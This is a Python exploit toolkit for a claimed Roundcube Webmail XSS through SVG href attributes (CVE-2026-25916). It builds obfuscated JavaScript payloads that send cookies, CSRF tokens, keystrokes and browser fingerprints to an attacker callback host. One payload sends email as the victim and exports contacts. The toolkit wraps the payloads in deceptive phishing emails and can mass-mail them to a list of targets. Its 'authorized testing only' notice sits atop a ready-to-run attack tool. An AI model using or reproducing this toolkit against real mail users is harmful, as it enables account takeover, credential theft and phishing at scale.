#!/usr/bin/env python3 # Exploit Title: Roundcube Webmail DOM-based XSS Exploit via SVG href Attribute # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2026-02-09 # Tested on: Roundcube Webmail 1.6.8, Ubuntu 22.04 LTS # CVE: CVE-2026-25916 # # Affected Versions: Roundcube Webmail < 1.6.9 # # Type: DOM-based Cross-Site Scripting (XSS) # Platform: Web Application (PHP/JavaScript) # Author Country: Jordan # Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation) # Attack Vector: Network (Email-based exploitation) # Privileges Required: None (unauthenticated attacker can send email) """ Practical Exploitation Toolkit for CVE-2026-25916 Roundcube DOM-based XSS via SVG href attributes Authorized testing only - Use on your own systems! """ import smtplib import random import time import argparse from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.header import Header import ssl import sys class RoundcubeXSSExploit: def __init__(self, smtp_server, smtp_port, username, password, recipient): self.smtp_server = smtp_server self.smtp_port = smtp_port self.username = username self.password = password self.recipient = recipient self.session_id = f"{int(time.time())}_{random.randint(1000, 9999)}" def generate_stealth_payload(self, callback_url=None, attack_type="recon"): """Generate obfuscated XSS payloads for CVE-2026-25916""" # Obfuscation techniques to bypass basic filters obfuscations = [ lambda x: x.replace('alert', 'al'+'ert'), lambda x: x.replace('document', 'docu'+'ment'), lambda x: x.replace('cookie', 'coo'+'kie'), lambda x: x + '//' + ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10)) ] # Multiple payload options exploiting SVG href attribute vulnerability payloads = { "recon": """ <svg width="0" height="0" style="display:none"> <script> (function(){{ var data = {{ url: location.href, cookies: document.cookie, userAgent: navigator.userAgent, referrer: document.referrer, time: new Date().toISOString(), sessionId: '{session_id}' }}; var img = new Image(); img.src = '{callback}?data=' + encodeURIComponent(JSON.stringify(data)); }})(); </script> </svg> """, "session_steal": """ <svg xmlns="http://www.w3.org/2000/svg"> <!-- CVE-2026-25916: href attribute executes JavaScript --> <use href="javascript:(function(){{ var xhr = new XMLHttpRequest(); xhr.open('POST', '{callback}', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({{ cookies: document.cookie, csrf: document.querySelector('input[name=\"_token\"]')?.value || 'not_found', url: window.location.href, email: '{recipient}', cve: 'CVE-2026-25916' }})); }})()"/> <rect width="1" height="1" fill="transparent"/> </svg> """, "keylogger": """ <svg> <script> var logged = ''; document.addEventListener('keydown', function(e) {{ logged += e.key; if(logged.length > 100) {{ new Image().src = '{callback}?keys=' + encodeURIComponent(logged); logged = ''; }} }}); </script> <!-- Alternative: xlink:href also vulnerable --> <image xlink:href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'/>" width="1" height="1"/> </svg> """, "action_hijack": """ <svg xmlns="http://www.w3.org/2000/svg"> <!-- Exploiting vulnerability in <a> element href --> <a xlink:href="javascript:(function(){{ setTimeout(function() {{ // Send email as victim fetch('/?_task=mail&_action=compose', {{ method: 'POST', headers: {{'Content-Type': 'application/x-www-form-urlencoded'}}, body: '[email protected]&_subject=Compromised&_body=' + encodeURIComponent('Account: ' + document.cookie) }}); // Export contacts fetch('/?_task=addressbook&_action=export&_source=0'); }}, 3000); }})()"> <rect width="100%" height="100%" fill-opacity="0"/> </a> </svg> """, "persistent": """ <svg style="position:absolute;left:-9999px"> <script> // Create hidden iframe for persistence var iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.src = 'data:text/html,<script>setInterval(function(){{ parent.postMessage({{cookies:document.cookie}}, "*"); }}, 5000);<\/script>'; document.body.appendChild(iframe); // Listen for messages from iframe window.addEventListener('message', function(e) {{ if(e.data.cookies) {{ new Image().src = '{callback}?persist=' + encodeURIComponent(e.data.cookies); }} }}); </script> </svg> """, "fingerprint": """ <svg xmlns="http://www.w3.org/2000/svg"> <!-- Comprehensive fingerprinting payload --> <use href="javascript:(function(){{ var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); ctx.textBaseline = 'top'; ctx.font = '14px Arial'; ctx.fillText('CVE-2026-25916', 2, 2); var fp = {{ canvas: canvas.toDataURL(), plugins: navigator.plugins.length, languages: navigator.languages, platform: navigator.platform, hardwareConcurrency: navigator.hardwareConcurrency, deviceMemory: navigator.deviceMemory, screen: {{width: screen.width, height: screen.height}}, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, session: '{session_id}' }}; fetch('{callback}', {{ method: 'POST', headers: {{'Content-Type': 'application/json'}}, body: JSON.stringify(fp) }}); }})()"/> </svg> """ } # Get selected payload payload = payloads.get(attack_type, payloads["recon"]) payload = payload.format( session_id=self.session_id, callback=callback_url or f"https://attacker.com/collect/{self.session_id}", recipient=self.recipient ) # Apply random obfuscation for obfuscate in random.sample(obfuscations, 2): payload = obfuscate(payload) return payload def create_phishing_email(self, payload, subject=None): """Create convincing email with embedded XSS payload""" subjects = [ "Security Alert: Unusual Login Detected", "Important: Account Verification Required", f"Your Invoice #INV-{random.randint(10000, 99999)}{random.choice(['A', 'B', 'C'])}", "Action Required: Update Your Contact Information", "Meeting Invitation: Quarterly Review", "Document Shared With You", "Password Reset Confirmation", "Roundcube System Notification" ] email_template = """ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <style> body {{ font-family: Arial, sans-serif; line-height: 1.6; color: #333; }} .header {{ background: #f4f4f4; padding: 20px; border-radius: 5px; }} .content {{ padding: 20px; }} .footer {{ font-size: 12px; color: #666; margin-top: 30px; }} .button {{ background: #007bff; color: white; padding: 10px 20px; text-decoration: none; border-radius: 3px; }} </style> </head> <body> <div class="header"> <h2>{subject}</h2> </div> <div class="content"> <p>Dear User,</p> <p>This is an important notification regarding your account. Please review the information below.</p> <!-- Decoy content --> <div style="border: 1px solid #ddd; padding: 15px; margin: 20px 0; background: #f9f9f9;"> <h3>Account Summary</h3> <p>Last login: {time_ago} minutes ago from {location}</p> <p>Status: <span style="color: green;">Active</span></p> </div> <p>If you did not initiate this action, please contact support immediately.</p> <a href="https://example.com/verify" class="button">Review Account</a> <p>Best regards,<br>Security Team</p> </div> <div class="footer"> <p>This is an automated message. Please do not reply to this email.</p> <p>© 2026 Example Corp. All rights reserved.</p> </div> <!-- Hidden XSS payload exploiting CVE-2026-25916 --> <div style="display:none;"> {payload} </div> <!-- Tracking pixel (legitimate-looking) --> <img src="https://example.com/track/{session_id}.png" width="1" height="1" alt=""/> </body> </html> """ return email_template.format( subject=subject or random.choice(subjects), time_ago=random.randint(5, 120), location=random.choice(["New York, US", "London, UK", "Tokyo, JP"]), payload=payload, session_id=self.session_id ) def send_email(self, html_content, subject, from_name=None): """Send email with proper headers and encoding""" msg = MIMEMultipart('alternative') msg['From'] = f'"{Header(from_name or "Security Team", "utf-8")}" <{self.username}>' msg['To'] = self.recipient msg['Subject'] = Header(subject, 'utf-8') msg['Date'] = time.strftime('%a, %d %b %Y %H:%M:%S %z') msg['Message-ID'] = f'<{self.session_id}@{self.smtp_server.split("@")[-1]}>' msg['X-Mailer'] = 'Roundcube/1.6.8' msg['X-Priority'] = '3' msg['X-MSMail-Priority'] = 'Normal' msg['X-CVE'] = 'CVE-2026-25916-TEST' # Add both plain text and HTML versions text_part = MIMEText("Please view this email in an HTML-capable email client.", 'plain', 'utf-8') html_part = MIMEText(html_content, 'html', 'utf-8') msg.attach(text_part) msg.attach(html_part) try: # Connect to SMTP server context = ssl.create_default_context() if self.smtp_port == 465: server = smtplib.SMTP_SSL(self.smtp_server, self.smtp_port, context=context) else: server = smtplib.SMTP(self.smtp_server, self.smtp_port) if self.smtp_port == 587: server.starttls(context=context) server.login(self.username, self.password) server.sendmail(self.username, self.recipient, msg.as_string()) server.quit() print(f"[+] Email sent successfully!") print(f"[+] CVE: CVE-2026-25916") print(f"[+] Session ID: {self.session_id}") print(f"[+] Recipient: {self.recipient}") print(f"[+] Time: {time.ctime()}") return True except Exception as e: print(f"[-] Error: {e}") return False def mass_exploit(self, recipients_file, attack_type="recon", delay=5): """Send to multiple recipients""" try: with open(recipients_file, 'r') as f: recipients = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[-] File {recipients_file} not found") return print(f"[*] Starting mass exploit against {len(recipients)} targets") print(f"[*] CVE: CVE-2026-25916 - Roundcube DOM XSS") for i, recipient in enumerate(recipients): self.recipient = recipient self.session_id = f"{int(time.time())}_{random.randint(1000, 9999)}" payload = self.generate_stealth_payload(attack_type=attack_type) email_content = self.create_phishing_email(payload) print(f"[{i+1}/{len(recipients)}] Targeting: {recipient}") if self.send_email(email_content, "Security Notification"): print(f" [+] Success - CVE-2026-25916 exploited") else: print(f" [-] Failed") if i < len(recipients) - 1: print(f" [*] Waiting {delay} seconds...") time.sleep(delay) def main(): parser = argparse.ArgumentParser( description="CVE-2026-25916 Roundcube DOM-based XSS Exploit Toolkit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s -s smtp.gmail.com -p 587 -u [email protected] -w password \\ -r [email protected] -t session_steal --callback https://yourserver.com/collect %(prog)s -s smtp.office365.com -p 587 -u [email protected] -w password \\ -l targets.txt -t recon --delay 10 %(prog)s -s mail.example.com -p 465 -u [email protected] -w password \\ -r [email protected] -t fingerprint Legal Notice: This tool is for authorized security testing only. You MUST have explicit permission to test the target systems. The author is not responsible for any misuse of this tool. """ ) parser.add_argument("-s", "--server", required=True, help="SMTP server address") parser.add_argument("-p", "--port", type=int, default=587, help="SMTP port (default: 587)") parser.add_argument("-u", "--username", required=True, help="SMTP username/email") parser.add_argument("-w", "--password", required=True, help="SMTP password/app password") parser.add_argument("-r", "--recipient", help="Single recipient email address") parser.add_argument("-l", "--list", help="File containing list of recipient emails") parser.add_argument("-t", "--type", default="recon", choices=["recon", "session_steal", "keylogger", "action_hijack", "persistent", "fingerprint"], help="Attack type (default: recon)") parser.add_argument("-d", "--delay", type=int, default=5, help="Delay between emails in seconds (default: 5)") parser.add_argument("--callback", help="Callback URL for data exfiltration") parser.add_argument("--subject", help="Custom email subject") parser.add_argument("--from-name", default="Security Team", help="Sender display name") args = parser.parse_args() if not args.recipient and not args.list: parser.error("Either --recipient or --list must be specified") exploit = RoundcubeXSSExploit( args.server, args.port, args.username, args.password, args.recipient or "[email protected]" ) print(""" ╔═══════════════════════════════════════════════════════════╗ ║ CVE-2026-25916: Roundcube Webmail DOM-based XSS Exploit ║ ║ via SVG href Attribute Vulnerability ║ ║ ║ ║ Author: Mohammed Idrees Banyamer ║ ║ Instagram: @banyamer_security ║ ║ GitHub: https://github.com/mbanyamer ║ ║ Country: Jordan ║ ║ ║ ║ ║ ╚═══════════════════════════════════════════════════════════╝ """) print(f"[*] CVE: CVE-2026-25916") print(f"[*] Type: DOM-based Cross-Site Scripting") print(f"[*] Affected: Roundcube Webmail < 1.6.9") print(f"[*] CWE: CWE-79 (Improper Input Neutralization)") print(f"[*] Attack Vector: Network (Email)") print(f"[*] Privileges Required: None\n") if args.list: exploit.mass_exploit(args.list, args.type, args.delay) else: payload = exploit.generate_stealth_payload(args.callback, args.type) email_content = exploit.create_phishing_email(payload, args.subject) print(f"[*] Attack Type: {args.type}") print(f"[*] Target: {args.recipient}") print(f"[*] SMTP Server: {args.server}:{args.port}") print(f"[*] Generating payload...") if exploit.send_email(email_content, args.subject or "Important Notification", args.from_name): print("\n[+] Exploit completed successfully!") print(f"[*] Vulnerability: CVE-2026-25916 exploited") print(f"[*] Monitor callback URL: {args.callback or 'Set up listener at your server'}") print(f"[*] Remediation: Update Roundcube to version 1.6.9 or later") else: print("\n[-] Exploit failed") if __name__ == "__main__": main()